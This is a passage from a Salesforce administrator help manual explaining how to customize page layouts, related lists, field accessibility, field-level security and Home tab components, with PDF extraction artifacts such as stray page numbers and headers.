The field properties of some standard fields cannot be changed. Custom fields can only be changed if they are not universally required fields. Fields marked as read only are always editable by administrators and users with the Edit Read Only Fields permission. If you make a picklist field read only, all new records will contain the default value for that picklist. Auto-number fields are always read only. If you mark the opportunity Probability field as read only, the Probability value will still be updated automatically when a user changes the Stage value of an opportunity.

When working with fields, note the following: In Personal, Contact Manager, Group, and Professional Editions, page layouts control which fields users can access in related lists, list views, reports, Connect Offline, email and mail merge templates, custom links, and when synchronizing data. In Enterprise, Unlimited, and Developer Editions, this access is controlled by field-level security. Field-level security settings override any field properties you set on the page layout if the field-level security is more restrictive than the page layout setting. See Field-Level Security Overview on page 671. In the organization-wide import wizards for accounts, contacts, and leads, administrators have access to import into any field, even if a field is hidden or read only in their page layout or field-level security settings. Individual users can import only into the fields that are accessible to them via their page layout or field-level security settings. For information on setting which fields display for users in search results, see Customizing Search Layouts on page 1338.

Related Lists To add related lists to the page layout, select the Related Lists category on the palette and drag one or more related lists from the palette to the desired location on the page layout. A page layout can have up to 100 related lists. You can place related lists at the bottom of the page layout. To move a related list on the page layout, drag the handle located above the related list. To customize a related list, double-click the related list handle or click the wrench icon ( related list properties to: ) inside the handle. Use the

Specify which fields display as columns on the related list, the order in which they appear, and the sort order of the records in the related list. In Professional, Enterprise, and Unlimited Editions, you can also opt to apply the column information to other page layouts for the same type of object.

1316

Customize

Overview of Page Layouts and Field-Level Security

Specify which standard and custom buttons appear on the related list.

When working with related lists on page layouts, note the following: Some related lists are not customizable because they link to data rather than store it. Salesforce denotes related lists that are not customizable on the page layout. You cannot add related lists to the page layouts for the User object. You can also enable related list hover links for your organization so that record detail pages include links for each related list at the top of the page. Users can hover the mouse over a related list hover link to display the corresponding related list in an interactive overlay that allows users to quickly view and manage the related list items. Users can also click a related list hover link to jump down to the content of the related list without having to scroll down the page. To enable related list hover links, see Customizing User Interface Settings on page 1667. In Professional, Enterprise, Unlimited, and Developer Edition, individual users can customize which related lists display for their personal use. Administrators can overwrite these user customizations and apply the related list configuration in the page layout to all users, even if they already customized their display. To overwrite users' related list customizations, click Yes on the Overwrite Users' Personal Related List Customizations popup window, which appears when saving a page layout if you moved or added a related list.

Custom S-Controls To add s-controls to the page layout, select the Custom S-Controls category on the palette and drag one or more s-controls from the palette to any section on the page layout, except for sections reserved for custom buttons or links and related lists. A page layout can have up to 20 s-controls. To change the properties of an s-control, double-click the s-control or click its wrench icon ( attributes:
Width sets the horizontal size in pixels or a percent. Height sets the vertical size in pixels. Show scrollbars determines whether the iFrame in which the s-control displays contains scrollbars when necessary. Show label determines whether the page layout includes the Label of the custom s-control. Remove the label to

) and set the following

display the s-control in a wider area. Sections You can add and move sections anywhere above the related lists on the page layout. The sections you add can contain fields, s-controls, and blank spaces. In addition, each page layout has a default section that can only contain custom links and blank spaces. You can change the location of the custom link section, but you cannot remove it from the page. To add a section, drag the Section user interface element from the palette to the desired location on the page layout. The Section user interface element is the second option in the palette when you select the Fields or Custom S-Controls category on the palette. To change the attributes of a section, double-click the section or select its associated wrench icon ( ). You can:

Enter a name for the section. Note that names of some standard page sections cannot be changed. Specify whether the section should have one or two columns. Specify the order in which users will be able to tab through the items in that section. Specify whether the section heading should be shown on the detail and edit pages.

1317

Customize

Overview of Page Layouts and Field-Level Security

Tags If tags are enabled in your organization, click Layout Properties and use the checkboxes to indicate whether personal and public tags should be included in the header section of the page layout. Users cannot tag a record if neither personal nor public tags are included in the header section. Also, the positioning of personal and public tags in the header cannot be modified. Visualforce Pages To add Visualforce pages to the page layout, select the Visualforce Pages category on the palette and drag one or more Visualforce pages from the palette to any section on the page layout, except for sections reserved for custom links and related lists. A page layout can have up to 20 Visualforce pages. You can add a Visualforce page to a page layout only if the standard controller on the Visualforce page is set to the object for which you are creating the page layout. If you do not have any Visualforce pages with a standard controller set to that object, the Visualforce Pages category does not appear in the palette.

See Also:
Notes on Using the Enhanced Page Layout Editor Customizing Page Layouts with the Enhanced Page Layout Editor Notes on Using the Enhanced Page Layout Editor Available in: All Editions

User Permissions Needed To customize page layouts: To view page layouts: Customize Application View Setup

When using the enhanced page layout editor, note the following: You can't rename a page layout if you're using Salesforce.com Professional Edition. Some elements can only be moved to certain locations on the page layout. Elements that are already on the page layout still appear on the palette but are inactive. When you click an inactive element on the palette, Salesforce highlights the element on the page layout. When you select a category of elements on the palette, such as Related Lists or Custom Links, Salesforce jumps to the part of the page layout where you can add those elements. The following table describes which browsers support the enhanced page layout editor: Browser Mozilla Firefox, most recent stable version Microsoft Internet Explorer versions 7, 8, 9, and 10 Notes Users with the View Setup and Configuration permission can view but not edit page layouts using Firefox version 2. Internet Explorer 6 does not perform well with advanced Web interfaces such as the enhanced page layout editor, and

1318

Customize

Overview of Page Layouts and Field-Level Security

Browser

Notes is no longer supported as of Summer 12. If you use Internet Explorer, we recommend using the latest version. Apply all Microsoft hotfixes. Important: Using Internet Explorer with the Internet Explorer Developer Toolbar impacts the performance of the enhanced page layout editor. Disable the toolbar before using the enhanced page layout editor. 1. In Internet Explorer, navigate to Tools > Internet Options... > Programs. 2. Click Manage Add-ons.... 3. Select IE Developer Toolbar and IE Developer Toolbar BHO, and choose the Disable option. 4. Close all Internet Explorer windows and restart the browser.

Apple Safari version 5.1.x on Mac OS X

If the original page layout editor is enabled, users can click on the page layout name to access the detail page of the page layout. The enhanced page layout editor does not have detail pages, as all the detail page functionality is always available on the enhanced editor. Salesforce displays a read-only version of the enhanced page layout editor to users with the View Setup permission. Note: The read-only view of the page layout does not display field types and lengths in hover details.

Some standard objects have checkboxes that are specific to page layouts for that object. The following table lists those standard object checkboxes. To configure how Salesforce displays the checkboxes, click Layout Properties when customizing the page layout. Use the Select by default checkbox associated with a checkbox if you want Salesforce to automatically select the option when a user accesses the edit page. Object Account Checkboxes
Evaluate this account against territory rules on save checkbox Displays the Evaluate this account against territory rules on save

checkbox on account edit pages. Territory assignment rules run automatically when the Select by default checkbox is selected. If both Show on edit page and Select by default are selected, users can uncheck Evaluate this account against territory rules on save checkbox on the

1319

Customize

Overview of Page Layouts and Field-Level Security

account edit page, and territory assignment rules will not be run. Case Case assignment checkbox Displays the
Assign using active assignment rules

checkbox on case edit pages. Email notification checkbox Displays the Send notification email to contact checkbox on case edit pages. Case Close Solution information section Displays the solution information section on the case close edit pages. Notify Contact Displays the Notify Contact checkbox on case close edit pages.
Lead assignment checkbox Displays the Assign using active assignment rule checkbox appears on

Lead

the lead edit page. Person Account


Evaluate this account against territory rules on save checkbox Displays the Evaluate this account against territory rules on save

checkbox on person account edit pages. Territory assignment rules run automatically when the Select by default checkbox is selected. If both Show on edit page and Select by default are selected, users can uncheck Evaluate this account against territory rules on save checkbox on the account edit page, and territory assignment rules will not be run. Task
Email notification checkbox Displays the Send Notification Email checkbox appears on the task edit

page. Note: A users personal preference for defaulting the state of the checkbox takes precedence over the organization-wide setting. For more information, see Creating Tasks on page 163.

The Custom Links, Custom S-Controls, and Visualforce Pages categories only appear in the palette if you have defined those types of elements for the object for which you are defining a page layout. Page layouts for the user object only include custom fields, custom links, s-controls, and Visualforce pages. Tagging, related lists, custom buttons, and standard field customizations are not included on page layouts for the user object. Also, field-level security is only available for custom fields on the user object.

1320

Customize

Overview of Page Layouts and Field-Level Security

If a dependent lookup is above its controlling field on a page layout, make its lookup filter optional or redesign the page layout. Seeing a required dependent lookup above its controlling field on a page layout may confuse users who typically start from the top of the page when entering data. You can define mini page layouts for the user object; however, you cannot add standard fields or related lists. Also, a customized mini page layout will not display in the Console tab. For more information, see Defining Mini Page Layouts on page 3494. When editing a person account page layout: If you add Shipping Address next to Billing Address in the Address Information section, a link will display on the person account edit page that allows you to copy the billing address to the shipping address. Also, an equivalent link appears if you add Other Address to the Address Information section. Contact fields and related lists are available on person account page layouts. However, contact custom links and custom buttons are not available.

Salesforce recommends creating no more than 200 page layouts. While there is no limit, organizations may have difficulty managing their page layouts if they exceed 200. Salesforce gives administrators the option to view a short video tutorial the first time they access the enhanced page layout editor. This video is also available from the Video Tutorial link next to the Help for this Page link in the editor.

See Also:
Enhanced Page Layout Editor User Interface Elements Customizing Page Layouts with the Enhanced Page Layout Editor

Accessing the Original Page Layout Editor for Standard Objects


Available in: All Editions

User Permissions Needed To customize page layouts: Customize Application

1. Select Your Name > Setup > Customize. 2. Choose the object. 3. Complete one of the following. In Enterprise, Unlimited, and Developer Edition organizations, choose Page Layouts, and click Edit next to the page layout you want to customize. In all other editions, choose Page Layout.

See Also:
Notes on Using the Original Page Layout Editor

1321

Customize

Overview of Page Layouts and Field-Level Security

Accessing the Original Page Layout Editor for Custom Objects


Available in: All Editions

User Permissions Needed To customize page layouts: Customize Application

1. 2. 3. 4.

Select Your Name > Setup > Create > Objects. Choose the object. Scroll to the Page Layouts section. Complete one of the following. In Enterprise, Unlimited, and Developer Edition organizations, click Edit next to the page layout you want to customize. In all other editions, choose Page Layout and click Edit at the top of the page layout.

See Also:
Notes on Using the Original Page Layout Editor

Customizing Page Layouts with the Original Page Layout Editor


Available in: All Editions

User Permissions Needed To customize page layouts: Customize Application

The original page layout editor allows you to customize page layouts for detail and edit pages in Salesforce, the Self-Service Portal, and the Salesforce Customer Portal. Note: Salesforce.com recommends using the enhanced page layout editor instead of the original page layout editor. See Customizing Page Layouts with the Enhanced Page Layout Editor. 1. Access the page layout editor. Accessing the Original Page Layout Editor for Standard Objects Accessing the Original Page Layout Editor for Custom Objects

2. If tags are enabled, specify whether personal and public tags should be included in the header section of the page layout. Users can tag a record only if personal or public tags are included here.

1322

Customize

Overview of Page Layouts and Field-Level Security

To add personal or public tags, select Header Items from the View drop-down list and then drag the Personal Tags or Public Tags items to the header section. You cant change the order in which personal and public tags appear when both are in the header section at the same time. To remove tags, drag the Personal Tags and Public Tags items from the header section to the area under the View drop-down list.

3. To customize buttons, double-click Detail Page Buttons in the Button section. To hide any standard button, deselect the checkbox next to the button name. To add or remove a custom button, select the button in the Available Buttons list, and click Add or Remove. To sort custom buttons, select them and click Up or Down. To undo your customizations and restore default settings, click Revert to Defaults. To close the popup, click OK.

4. To arrange fields, custom s-controls, Visualforce pages, custom links, and related lists on the layout, select one or more items from the box on the right and drag them to the desired location. You can add up to 20 s-controls, 20 Visualforce pages, and 100 related lists on a page layout. There are no limits on fields and custom links. To select multiple items individually, use CTRL+click. To select multiple items as a group, use SHIFT+click.. Note: You can add a Visualforce page to a page layout only if the standard controller on the Visualforce page is set to the object for which you are creating the page layout. If you do not have any Visualforce pages with a standard controller set to that object, the Visualforce Pages category does not appear in the palette. Items that are not in the page layout are displayed in the scrolling box on the right-hand side. Use the legend to determine what fields are required, dependent, controlling, or have other attributes that may affect your page layout decisions.

5. To set which fields are required and read only, select one or more fields and click Edit Properties. The field properties of some standard fields cannot be changed. Custom fields can be changed only if they are not universally required fields. Fields marked as read only are always editable by administrators and users with the Edit Read Only Fields permission. If you make a picklist field read only, all new records will contain the default value for that picklist. Auto-number fields are always read only. If you mark the opportunity Probability field as read only, the Probability value will still be updated automatically when a user changes the Stage value of an opportunity. In Enterprise, Unlimited, and Developer Editions, field-level security settings override any field properties you set here if the field-level security is more restrictive than the page layout setting. See Field-Level Security Overview.

6. To change the properties of an s-control or Visualforce page, double click it and set the following attributes.
Width sets the horizontal size in pixels or a percent. Height sets the vertical size in pixels. Show scrollbars determines whether the iFrame in which the s-control displays contains scrollbars when necessary. Show label determines whether the page layout includes the Label of the custom s-control. Remove the label to

display the custom s-control in a wider area.

1323

Customize

Overview of Page Layouts and Field-Level Security

7. To organize the page using sections, click Edit next to an existing page section, or click Create New Section to create a new page section. Enter a name for the section. Note that names of some standard page sections cannot be changed. Set whether the section should have one or two columns. Set the order in which users can tab through the items in that section. Set whether the section name should be shown on the detail and edit pages.

8. To customize related lists on the page layout, double-click a related list in the Related List section. To add or remove fields, select one or more fields and use the arrows to add or remove them to the related list columns on the page layout and to define the order in which the related list columns display. You can include up to 10 fields per related list. To select multiple fields individually, use CTRL+click. To select multiple fields as a group, use SHIFT+click. To sort the items in the related list, select a field from the Sort By drop-down list. Items are displayed in ascending order unless you select Descending. The default sort order varies per record. The Sort By drop-down is not available for activities and opportunity products. If necessary, select additional page layouts to which your related list customizations will apply. To customize which standard buttons display in the related list, select or deselect the checkbox next to the button name. To customize which custom buttons display in the related list, select the button and click Add or Remove. To sort custom buttons, select them and click Up or Down. Note: To create a custom button for the related list, see Defining Custom Buttons and Links. The custom button must be defined for the object contained in the related list, instead of the parent object, and the button Type must be List Button. For example, to display a custom button on the Contacts related list of an account, define the custom button for contacts, not accounts. Some related lists are not customizable because they link to data rather than store it. You can move your cursor over any related list section to see if it is customizable. Also, lookup fields are not available for display on their corresponding lookup related list. For example, the case lookup field on an account page layout is not available when editing the cases related list. Note: You can enable related list hover links so that record detail pages include links for each related list at the top of the page. Users can hover the mouse over a related list hover link to display the corresponding related list in an interactive overlay that allows users to quickly view and manage the related list items. Users can also click a related list hover link to jump to the content of the related list without scrolling down the page. To enable related list hover links, see Customizing User Interface Settings. 9. To apply the related lists in the page layout to all users, even if they have already customized their display, select Overwrite users personal related list customization. 10. To review the page layout, click Preview. From the preview in Enterprise, Unlimited, and Developer Editions, select a profile to see how the pages will look for users with different profiles. Note that most related lists columns preview without data. 11. Click Save to finish. Alternatively, click Quick Save to save and continue editing the page layout. In Professional, Enterprise, Unlimited, and Developer Editions:. To choose which related records display in the Console tab's mini view, click Mini Console View. To define the mini page layouts of the records that appear in the Console tab's mini view, click Mini Page Layout.

1324

Customize

Overview of Page Layouts and Field-Level Security

Note: You cannot define mini console views or mini page layouts for the Close Case Layout or the Log a Case Page and View Cases Page layouts on the Self-Service Portal. In Enterprise, Unlimited, and Developer Editions: You can assign page layouts for different profile and record type combinations. You can set field-level security to restrict field access further.

See Also:
Customizing Page Layouts with the Enhanced Page Layout Editor Notes on Using the Original Page Layout Editor Customizing Related Lists Managing Page Layouts Overview of Page Layouts and Field-Level Security Restricting Price and Quantity Editing on Opportunity Products Editing Multi-Line Layouts for Opportunity Products Setting Up Your Customer Portal Notes on Using the Original Page Layout Editor Available in: All Editions

When customizing page layouts for tasks, you can select the following checkboxes. Show Task Email Notification checkbox displays the Send Notification Email checkbox when users create or edit a task. Select Task Email Notification checkbox by default selects the Send Notification Email checkbox by default when users create or edit a task. Note that a user's personal preference for defaulting the state of the checkbox takes precedence over the organization-wide setting. See Creating Tasks.

When customizing page layouts for cases, you can select the following checkboxes. Show Case Assignment checkbox displays the Assign using active assignment rules checkbox when users create or edit a case. Select Case Assignment checkbox by default selects the Assign using active assignment rules checkbox by default when users create or edit a case. Note that a user's personal preference for defaulting the state of the checkbox takes precedence over the organization-wide setting. Show Case Email Notification checkbox displays the Send Notification Email checkbox when users create or edit a case. Select Case Email Notification checkbox by default selects the Send Notification Email checkbox by default when users create or edit a case.

Page layouts for the user object only include custom fields, custom links, s-controls, and Visualforce pages. Tagging, related lists, custom buttons, and standard field customizations are not included on page layouts for the user object. Also, field-level security is available only for custom fields on the user object. You can define mini page layouts for the user object; however, you cannot add standard fields or related lists. Also, a customized mini page layout will not display in the Console tab. See Defining Mini Page Layouts.

1325

Customize

Overview of Page Layouts and Field-Level Security

In the organization-wide import wizards for accounts, contacts, and leads, administrators have access to import into any field, even if a field is hidden or read only in their page layout or field-level security settings. Individual users can import only into the fields that are accessible to them via their page layout or field-level security settings. In Personal, Contact Manager, Group, and Professional Editions, page layouts control which fields users can access in related lists, list views, reports, Connect Offline, email and mail merge templates, custom links, and when synchronizing data. In Enterprise, Unlimited, and Developer Editions, this access is controlled by field-level security. For information on setting which fields display for users in search results, see Customizing Search Layouts. In Professional, Enterprise, Unlimited, and Developer Edition, individual users can customize which tabs and related lists display for their personal use. See Customizing Your Display. When editing a person account page layout, if you add Shipping Address next to Billing Address in the Address Information section, a link will display on the person account edit page that allows you to copy the billing address to the shipping address. Also, an equivalent link appears if you add Other Address to the Address Information section. Some items can only be moved to certain sections on the page layout. For example, you can drag a custom s-control to any field section on the page layout but not a related list section or button section. Create the appropriate buttons before editing your page layout. For example, create an account custom button for the detail page and a contact custom list button before putting them both on an account page layout. For implementation tips and best practices on custom buttons, see Custom Button Considerations. If you use the original page layout editor to view a page layout that was created in the new page layout editor, the original page layout editor will show any blank spaces you added. You cannot move or add blank spaces in the original page layout editor, but you can remove them by dragging them to the box on the right.

See Also:
Customizing Page Layouts with the Original Page Layout Editor

Customizing Detail Page Buttons


Available in: All Editions

User Permissions Needed To customize detail page buttons: Customize Application

When customizing page layouts, you can control which standard and custom buttons are displayed and the order in which the custom buttons are shown. To customize the buttons on record detail pages: 1. Click Your Name > Setup > Customize, select the appropriate activity or tab link, and choose the Page Layouts link. For custom objects, click Your Name > Setup > Create > Objects, and select the desired custom object. 2. Click Edit next to the page layout you want to customize. 3. Do one of the following: In the original page layout editor, double-click the Detail Page Buttons item in the Button Section. To hide any standard button, deselect the checkbox next to the button name. To add or remove a custom button, select the button in the Available Buttons list, and click Add or Remove. Sort custom buttons by selecting them and clicking Up or Down.

1326

Customize

Overview of Page Layouts and Field-Level Security

To undo your customizations and restore default settings, click Revert to Defaults. Click OK to close the popup when you are done. In the enhanced page layout editor, select the Buttons category on the palette and drag one or more buttons from the palette to the buttons section on the page layout. Standard buttons must go in the standard buttons area, and custom buttons must go in the custom buttons area. To remove a standard or custom button from the page layout, drag the button to the palette.

4. Click Save on the page layout. 5. Click Save.

See Also:
Customizing Page Layouts Overriding Standard Buttons and Tab Home Pages Defining Custom Buttons and Links

Customizing Related Lists


Available in: All Editions except Database.com

User Permissions Needed To customize related lists: Customize Application

To customize the buttons, columns displayed, column order, and record sort order of related lists on record detail pages in Salesforce and the Salesforce Customer Portal: 1. Access the page layout editor. 2. Double-click a related list on the layout to edit it. If you are using the enhanced page layout editor, you can also click the wrench icon ( ). Note: You cant customize the History related list because it doesnt store data. The History related list links to data stored elsewhere. 3. To customize the fields that display in the related list: Select one or more fields and use the arrows to add or remove the fields to the related list columns on the page layout, and to define the order in which the related list columns display. You can include up to 10 fields per related list. Note: The first field of a related list can't be moved. They are considered as unique identifiers for the record.

Use CTRL+click to select multiple fields individually. Use SHIFT+click to select multiple fields as a group.

1327

Customize

Overview of Page Layouts and Field-Level Security

Select a field from the Sort By drop-down list to sort the items in the related list, which will be displayed in ascending order unless you select Descending. The default sort order varies per record. The Sort By drop-down is not available for activities and opportunity products. If necessary, select additional page layouts to apply your related list customizations to. Only layouts that include this related list appear in the list. Layouts that include related lists with the same customizations as the current layout had when you opened are selected by default.

Lookup fields are not available for display on their corresponding lookup related list. For example, the case lookup field on an account page layout is not available when editing the cases related list. 4. To customize which standard buttons display in the related list, select or deselect the checkbox next to any standard button name. Note: To view the buttons in the enhanced page layout editor, click the plus sign (+) in the Buttons section.

5. To customize which custom buttons display in the related list: To add or remove a custom button, select the button and click Add or Remove. Sort custom buttons by selecting them and clicking Up or Down.

To create a custom button for the related list, see Defining Custom Buttons and Links. The custom button must be defined for the object contained in the related list, instead of the parent object, and the button Type must be List Button. For example, to display a custom button on the Contacts related list of an account, define the custom button for contacts, not accounts. 6. If necessary, click Revert to Defaults to undo any customizations and use the default Salesforce settings in the related list. 7. Click OK to store your customizations. Changes are not saved until you click Save on the page layout. 8. Select the Overwrite users personal related list customization to apply the related lists in the page layout to all users, even if they have already customized their display. 9. Click Preview to review the page layout. From the preview in Enterprise, Unlimited, and Developer Editions, select a profile to see how the pages will look for users with different profiles. 10. Click Save. Note: You can enable related list hover links so that record detail pages include links for each related list at the top of the page. Users can hover the mouse over a related list hover link to display the corresponding related list in an interactive overlay that allows users to quickly view and manage the related list items. Users can also click a related list hover link to jump to the content of the related list without scrolling down the page. To enable related list hover links, see Customizing User Interface Settings.

See Also:
Overview of Page Layouts and Field-Level Security Creating a Many-to-Many Relationship

1328

Customize

Overview of Page Layouts and Field-Level Security

Editing Multi-Line Layouts for Opportunity Products


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit multi-line layouts for opportunity products: Customize Application

You can customize the columns that display when you click Edit All in the Products related list of an opportunity detail page. 1. 2. 3. 4. Click Your Name > Setup > Customize > Opportunities > Opportunity Products > Page Layouts. Next to the name of an opportunity product page layout, click Edit. Click Edit Multi-Line Layout. Move fields between Available Fields and Selected Fields. To customize which fields display in the layout, select one or more fields in Available Fields and click Add or Remove. To sort fields in the layout, select one or more fields in Selected Fields and click Up or Down. To select multiple fields individually, use CTRL+click. To select multiple fields as a group, use SHIFT+click.

5. Click Save to apply your changes.

Deleting Page Layouts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete page layouts: Customize Application

To delete a page layout: 1. Select Your Name > Setup > Customize, select the appropriate activity or tab link, and choose the Page Layouts link. 2. Click Del next to the page layout name. When a page layout is deleted, its mini page layout is also deleted. 3. Choose another page layout to replace the deleted layout for any profile and record type combinations. Users with those profiles and record types will see the new page layout.

1329

Customize

Overview of Page Layouts and Field-Level Security

4. Click Replace.

See Also:
Managing Page Layouts Overview of Page Layouts and Field-Level Security Setting Up the Console Tab

Assigning Page Layouts


Available in: Enterprise, Unlimited, and Developer Editions

After defining page layouts, assign which page layouts users see. A users profile determines which page layout he or she sees. In addition, if your organization is using record types for a particular tab, the combination of the users profile and the record type determine which page layout is displayed. You can assign page layouts from: The object's customize page layout or record type page The enhanced profile user interface The original profile user interface

To verify that users have the correct access to fields based on the page layout and field-level security, you can check the field accessibility grid; see About Field Accessibility on page 1331.

See Also:
Managing Page Layouts User Profiles Overview Managing Record Types Overview of Page Layouts and Field-Level Security

Assigning Page Layouts from a Customize Page Layout or Record Type Page
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To assign page layouts: Manage Users

1. Click Your Name > Setup > Customize, select the appropriate activity or tab link, and choose Page Layouts or Record Types.. 2. In the page layout or record type list page, click Page Layout Assignment.

1330

Customize

Overview of Page Layouts and Field-Level Security

3. Click Edit Assignment. 4. Use the table to specify the page layout for each profile. The table displays the page layout assignments for each profile. If your organization uses record types, a matrix displays a page layout selector for each profile and record type. When selecting page layout assignments: Click a cell, column, or row heading to select all the table cells in that column or row. Press SHIFT+click to select multiple adjacent table cells, columns, or rows. Press CTRL+click to select multiple nonadjacent table cells, columns, or rows. Click any cell and drag to select a range of cells. Click Next or Prev to view another set of record types.

Selected page layout assignments are highlighted. Page layout assignments you change are italicized until you save your changes. 5. If necessary, select another page layout to assign from the Page Layout To Use drop-down list and repeat the previous step for the new page layout. 6. Click Save.

See Also:
Assigning Page Layouts

About Field Accessibility


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Page layouts are not available in Database.com

Several factors help control whether users can view and edit specific fields in Salesforce. Page layoutsYou can set whether fields are visible, required, editable, or read only. Field-level securityYou can further restrict users' access to fields by setting whether those fields are visible, editable, or read only. These settings override any field properties set in the page layout if the field-level security setting is more restrictive. Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer Support. PermissionsSome user permissions override both page layouts and field-level security settings. For example, users with the Edit Read Only Fields permission can always edit read-only fields regardless of any other settings. Universally required fieldsA custom field can be made universally required, which overrides any less-restrictive settings on page layouts or field-level security.

After setting these items, you can confirm users' access to specific fields using the field accessibility grid.

1331

Customize

Overview of Page Layouts and Field-Level Security

Checking Field Accessibility for a Particular Field


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view field accessibility: View Setup and Configuration

1. Navigate to the fields area of the appropriate object: For standard objects, click Your Name > Setup > Customize, select the appropriate object, and click Fields. For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields. For standard task and event fields, click Your Name > Setup > Customize > Activities, then click Task Fields or Event Fields. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. For Knowledge validation status picklists, click Your Name > Setup > Customize > Knowledge > Validation Statuses.

2. Select a field and click View Field Accessibility. 3. Confirm that the field access is correct for different profiles and record types. 4. Hover your mouse over any field access setting to see whether the field is required, editable, hidden, or read only based on the page layout or field-level security. 5. Click any field access setting to change the field's accessibility. For advanced options to check field accessibility by a specific profile, record type, or field, click Your Name > Setup > Security Controls > Field Accessibility. From this page, you need to choose a particular tab to view and then select whether you want to check access by profiles, record types, or fields. Note: In this user interface, you can't check access for permission sets. Field-level security doesn't prevent searching on the values in a field. To set up your organization to prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact Customer Support.

1332

Customize

Overview of Page Layouts and Field-Level Security

Modifying Field Access Settings


Available in: Enterprise, Unlimited, and Developer, and Database.com Editions

User Permissions Needed To view field accessibility: To change field accessibility: View Setup and Configuration Customize Application AND Manage Users

From the field accessibility grid, you can click any field access setting to change the fields accessibility in the page layout or in field-level security. The Access Settings page then lets you modify the field access settings. In the Field-Level Security section of the page, specify the field's access level for the profile. Access Level Users can read and edit the field. Users can read but not edit the field. Users can't read or edit the field. Enabled Settings Visible Visible and Read-Only None

We recommend that you use field-level security to control users access to fields rather than creating multiple page layouts to control field access. In the Page Layout section of the page, you can: Select the Remove or change editability radio button and then change the field access properties for the page layout. These changes will affect all profile and record type combinations that currently use this page layout. Alternatively, you can select the Choose a different page layout radio button to assign a different page layout to the profile and record type combination.

See Also:
Overview of Page Layouts and Field-Level Security Managing Page Layouts Field-Level Security Overview Object Permissions User Permissions

1333

Customize

Overview of Page Layouts and Field-Level Security

Customizing Home Tab Page Layouts


Available in: All Editions

User Permissions Needed To view home page layouts: To create or change home page layouts: Customize Application Customize Application

You can customize the Home tab to include components such as sidebar links, a company logo, or a dashboard snapshot. A dashboard snapshot is a clipping of the top row of a dashboards components. Just like other tabs, you can also assign different home page layouts to different users based on profile. Alternatively, a custom home page layout can contain only the components that show up in the sidebar. You can determine if custom sidebar components appear only on the Home tab or on all Salesforce pages. To start customizing your home page layouts, see: Defining Home Tab Components on page 1334 Designing Home Tab Page Layouts on page 1336 Assigning Home Tab Page Layouts to Profiles on page 1337

Defining Home Tab Components


Available in: All Editions

User Permissions Needed To create or change home page layouts: Customize Application

Home page layouts contain standard components, such as Recent Items and Messages & Alerts, and any custom components you create. You can create custom components such as a logo; see Creating Custom Components on page 1335. Additionally, you can edit some standard components; see Editing Components on page 1334. Editing Components 1. Click Your Name > Setup > Customize > Home > Home Page Components. 2. Click Edit next to the component you want to edit. If there is no Edit link next to a component, it is read only. 3. Make any changes. When editing the standard Messages & Alerts component, enter the text you want to display to users. If entering HTML code for your message, make sure it is self-contained, well-formed HTML. When editing the Custom Links component, enter the link text to display to users in the Bookmark field. In the URL field, enter the complete website address, such as http://www.yahoo.com. To link to a Salesforce page, such as a

1334

Customize

Overview of Page Layouts and Field-Level Security

frequently-viewed report, enter only the part of the URL after salesforce.com, for example, /00Ox0000000esq4. These links always open within the main Salesforce window, not in a popup window. Note: The standard home page Custom Links component is a quick way to add links to the sidebar, but it does not support merge fields, functions (such as the URLFOR function), executing JavaScript, or customizable window opening properties. If you need this additional functionality: a. Click Your Name > Setup > Customize > Home > Custom Links, and create your home page custom links on that page. b. Click Your Name > Setup > Customize > Home > Home Page Components, and create a custom home page component of type Links on that page that includes the custom links created in the first step. See Creating Custom Components. Note that creating a custom home page component for your links does not change the visual styling for your end users.

4. Click Save. Next, add the component to a home page layout; see Designing Home Tab Page Layouts on page 1336. Creating Custom Components If you are creating custom link components, define your Home tab custom links first; see Understanding Custom Buttons and Links on page 1282. If you are creating an image component, upload your image to the Documents tab first. For information on uploading your files to the Documents tab, see Uploading and Replacing Documents on page 248. 1. Click Your Name > Setup > Customize > Home > Home Page Components. 2. Click New. 3. Enter a name for the component. For custom links, this name displays as the section heading in the sidebar on the Home tab. 4. Choose the type of component. 5. Click Next. For links, select the appropriate custom links and click Add. For images, click Insert an image, choose the document folder, and select the image file. Note that the image file must be in a public folder and the Externally Available checkbox must be selected on the document's properties so that users can view the image. For HTML area, choose where to display the component, in either the wide or narrow column, and enter your text, image, or links in the box below. Note: Components in the narrow column display in the sidebar. They do not display in the sidebar on other pages within Salesforce unless you specify that in your user interface settings or by assigning the Show Custom Sidebar On All Pages permission. To change your user interface settings, see Customizing User Interface Settings on page 1667. For information on permissions, see User Permissions on page 574. For instructions on using the HTML format toolbar, see Using the Format Toolbar on page 486. 6. Click Save. Next, add the component to a home page layout; see Designing Home Tab Page Layouts on page 1336.

1335

Customize

Overview of Page Layouts and Field-Level Security

Tip: Keep your image size smaller than 20 KB for optimum performance. If your image is too large to fit in the insert window, use an image editor to resize the image. Save your image in gif or jpeg format to reduce file size.

See Also:
Designing Home Tab Page Layouts Assigning Home Tab Page Layouts to Profiles

Designing Home Tab Page Layouts


Available in: All Editions

User Permissions Needed To view home page layouts: To create or change home page layouts: Customize Application Customize Application

After creating the components you want displayed on the Home tab, begin designing your home page layouts. 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Home > Home Page Layouts. Click New. Alternately, select a layout you want to copy and click Clone. Enter a name for the new layout. Click Save. Select the components you want displayed on the new page layout. Consider the following: The components you select for the narrow column display in the sidebar. They do not display in the sidebar on other pages within Salesforce unless you specify that in your user interface settings. To change your user interface settings, see Customizing User Interface Settings on page 1667. If you only want certain users to view sidebar components on all pages, grant those user the Show Custom Sidebar On All Pages permission. Select Article Search to add the Find Articles component to a home page layout. This component is only available for Salesforce Knowledge users. Select Customer Portal Welcome to add the Customer Portal component to a home page layout. If the My Profile site Visualforce page has been enabled, this component contains a personalized welcome message and a link to the portal user's profile. The My Profile page enables users logged into either your Force.com site, or your Customer Portal from Force.com sites, to update their own contact information. When they make changes to this page, the corresponding portal user and contact records are updated. When you select Dashboard Snapshot as a component to show on a home page layout, Salesforce displays the last dashboard the user accessed. To give users instructions on changing the dashboard themselves; see Customizing Your Display on page 42. Users can view a dashboard snapshot on their Home tab if they have access to at least one 